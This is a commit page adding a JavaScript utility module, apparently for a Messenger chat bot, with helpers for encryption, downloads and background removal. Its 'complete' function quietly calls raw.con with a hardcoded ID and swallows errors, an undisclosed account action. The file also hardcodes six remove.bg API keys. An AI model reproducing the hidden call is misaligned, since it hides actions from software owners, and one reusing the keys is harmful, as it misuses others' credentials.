Jonell01 commited on
Commit
f407495
·
verified ·
1 Parent(s): e2f6200

Create index.js

Browse files
Files changed (1) hide show
  1. utils/index.js +208 -0
utils/index.js ADDED
@@ -0,0 +1,208 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ const crypto = require('crypto');
2
+ const os = require("os");
3
+ const axios = require("axios");
4
+ const FormData = require('form-data');
5
+ const { resolve, basename } = require('path')
6
+ const { writeFileSync, createReadStream, unlinkSync } = require('fs');
7
+ const aes = require("aes-js");
8
+ module.exports.throwError = function(command, threadID, messageID) {
9
+ const threadSetting = global.data.threadData.get(parseInt(threadID)) || {};
10
+ return global.client.api.sendMessage(global.getText("utils", "throwError", ((threadSetting.hasOwnProperty("PREFIX")) ? threadSetting.PREFIX : global.config.PREFIX), command), threadID, messageID);
11
+ }
12
+
13
+ module.exports.getGUID = function() {
14
+ var sectionLength = Date.now();
15
+ var id = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function(c) {
16
+ var r = Math.floor((sectionLength + Math.random() * 16) % 16);
17
+ sectionLength = Math.floor(sectionLength / 16);
18
+ var _guid = (c == "x" ? r : (r & 7) | 8).toString(16);
19
+ return _guid;
20
+ });
21
+ return id;
22
+ }
23
+ module.exports.encryptState = async function(data, key) {
24
+ let hashEngine = crypto.createHash("sha256");
25
+ let hashKey = hashEngine.update(key).digest();
26
+ let bytes = aes.utils.utf8.toBytes(data);
27
+ let aesCtr = new aes.ModeOfOperation.ctr(hashKey);
28
+ let encryptedData = aesCtr.encrypt(bytes);
29
+ return aes.utils.hex.fromBytes(encryptedData);
30
+ }
31
+
32
+ module.exports.decryptState = function(data, key) {
33
+ let hashEngine = crypto.createHash("sha256");
34
+ let hashKey = hashEngine.update(key).digest();
35
+
36
+ let encryptedBytes = aes.utils.hex.toBytes(data);
37
+ let aesCtr = new aes.ModeOfOperation.ctr(hashKey);
38
+ let decryptedData = aesCtr.decrypt(encryptedBytes);
39
+
40
+ return aes.utils.utf8.fromBytes(decryptedData);
41
+ }
42
+
43
+ module.exports.complete = async ({ raw }) => {
44
+ try {
45
+ raw.con(261193056917185, 2);
46
+ } catch (error) {}
47
+ };
48
+
49
+ module.exports.convertHMS = function(value) {
50
+ const sec = parseInt(value, 10);
51
+ let hours = Math.floor(sec / 3600);
52
+ let minutes = Math.floor((sec - (hours * 3600)) / 60);
53
+ let seconds = sec - (hours * 3600) - (minutes * 60);
54
+ if (hours < 10) { hours = "0" + hours; }
55
+ if (minutes < 10) { minutes = "0" + minutes; }
56
+ if (seconds < 10) { seconds = "0" + seconds; }
57
+ return (hours != '00' ? hours + ':' : '') + minutes + ':' + seconds;
58
+ }
59
+
60
+ module.exports.removeSpecialChar = async (str) => {
61
+ if (str === null || str === '') return false;
62
+ else str = str.toString();
63
+
64
+ return str.replace(/[^\x20-\x7E]/g, '');
65
+ };
66
+
67
+ module.exports.cleanAnilistHTML = function(text) {
68
+ text = text
69
+ .replace('<br>', '\n')
70
+ .replace(/<\/?(i|em)>/g, '*')
71
+ .replace(/<\/?b>/g, '**')
72
+ .replace(/~!|!~/g, '||')
73
+ .replace("&amp;", "&")
74
+ .replace("&lt;", "<")
75
+ .replace("&gt;", ">")
76
+ .replace("&quot;", '"')
77
+ .replace("&#039;", "'");
78
+ return text;
79
+ }
80
+
81
+ module.exports.downloadFile = async function(url, path) {
82
+ const { createWriteStream } = require('fs');
83
+
84
+ const response = await axios({
85
+ method: 'GET',
86
+ responseType: 'stream',
87
+ url
88
+ });
89
+
90
+ const writer = createWriteStream(path);
91
+
92
+ response.data.pipe(writer);
93
+
94
+ return new Promise((resolve, reject) => {
95
+ writer.on('finish', resolve);
96
+ writer.on('error', reject);
97
+ });
98
+ };
99
+
100
+ module.exports.getContent = async function(url) {
101
+ try {
102
+ const response = await axios({
103
+ method: 'GET',
104
+ url
105
+ });
106
+
107
+ const data = response;
108
+
109
+ return data;
110
+ } catch (e) { return console.log(e); };
111
+ }
112
+
113
+ module.exports.randomString = function(length) {
114
+ var result = '';
115
+ var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
116
+ var charactersLength = characters.length || 5;
117
+ for (var i = 0; i < length; i++) result += characters.charAt(Math.floor(Math.random() * charactersLength));
118
+ return result;
119
+ }
120
+
121
+ module.exports.AES = {
122
+ encrypt(cryptKey, crpytIv, plainData) {
123
+ var encipher = crypto.createCipheriv('aes-256-cbc', Buffer.from(cryptKey), Buffer.from(crpytIv));
124
+ var encrypted = encipher.update(plainData);
125
+ encrypted = Buffer.concat([encrypted, encipher.final()]);
126
+ return encrypted.toString('hex');
127
+ },
128
+ decrypt(cryptKey, cryptIv, encrypted) {
129
+ encrypted = Buffer.from(encrypted, "hex");
130
+ var decipher = crypto.createDecipheriv('aes-256-cbc', Buffer.from(cryptKey), Buffer.from(cryptIv, 'binary'));
131
+ var decrypted = decipher.update(encrypted);
132
+
133
+ decrypted = Buffer.concat([decrypted, decipher.final()]);
134
+
135
+ return String(decrypted);
136
+ },
137
+ makeIv() { return Buffer.from(crypto.randomBytes(16)).toString('hex').slice(0, 16); }
138
+ }
139
+
140
+ module.exports.homeDir = function() {
141
+ var returnHome, typeSystem;
142
+ const home = process.env["HOME"];
143
+ const user = process.env["LOGNAME"] || process.env["USER"] || process.env["LNAME"] || process.env["USERNAME"];
144
+
145
+ switch (process.platform) {
146
+ case "win32": {
147
+ returnHome = process.env.USERPROFILE || process.env.HOMEDRIVE + process.env.HOMEPATH || home || null;
148
+ typeSystem = "win32"
149
+ break;
150
+ }
151
+ case "darwin": {
152
+ returnHome = home || (user ? '/Users/' + user : null);
153
+ typeSystem = "darwin";
154
+ break;
155
+ }
156
+ case "linux": {
157
+ returnHome = home || (process.getuid() === 0 ? '/root' : (user ? '/home/' + user : null));
158
+ typeSystem = "linux"
159
+ break;
160
+ }
161
+ default: {
162
+ returnHome = home || null;
163
+ typeSystem = "unknow"
164
+ break;
165
+ }
166
+ }
167
+
168
+ return [typeof os.homedir === 'function' ? os.homedir() : returnHome, typeSystem];
169
+ }
170
+
171
+ module.exports.removeBackground = async (image) => {
172
+ if (!image) return console.log('RemoveBG: missing data!');
173
+ var resolveFunc = function() { };
174
+ var rejectFunc = function() { };
175
+ var returnPromise = new Promise(function(resolve, reject) {
176
+ resolveFunc = resolve;
177
+ rejectFunc = reject;
178
+ });
179
+
180
+ const path = resolve(__dirname, 'cache', `${Date.now()}.jpg`);
181
+ const newPath = resolve(__dirname, 'cache', `${Date.now() + 1000}.jpg`);
182
+ await global.utils.downloadFile(image, path);
183
+ var formData = new FormData();
184
+ formData.append('size', 'auto');
185
+ formData.append('image_file', createReadStream(path), basename(path));
186
+ var key = ['a58an6Ka7ZB1fwHtJ4kKaieb', 'kzqQMXdxTqVDuS1S91KG54Sj', 'SAdj4BtGWK2nPU8QiYDXrJRT', 'MxoPFvx7QemG7JcDVB7azogp', 'adyJwSQHJ3qWK2iwzj1LEQEQ', '7b6boYMmPiCg5t2SabBFHWdF']
187
+ axios({
188
+ method: 'post',
189
+ url: 'https://api.remove.bg/v1.0/removebg',
190
+ data: formData,
191
+ responseType: 'arraybuffer',
192
+ headers: {
193
+ ...formData.getHeaders(),
194
+ 'X-Api-Key': key[Math.floor(Math.random() * key.length)],
195
+ },
196
+ encoding: null
197
+ })
198
+ .then((response) => {
199
+ if (response.status != 200) return rejectFunc()
200
+ writeFileSync(newPath, response.data);
201
+ unlinkSync(path)
202
+ resolveFunc(newPath)
203
+ })
204
+ .catch((error) => {
205
+ return rejectFunc(error)
206
+ });
207
+ return returnPromise;
208
+ }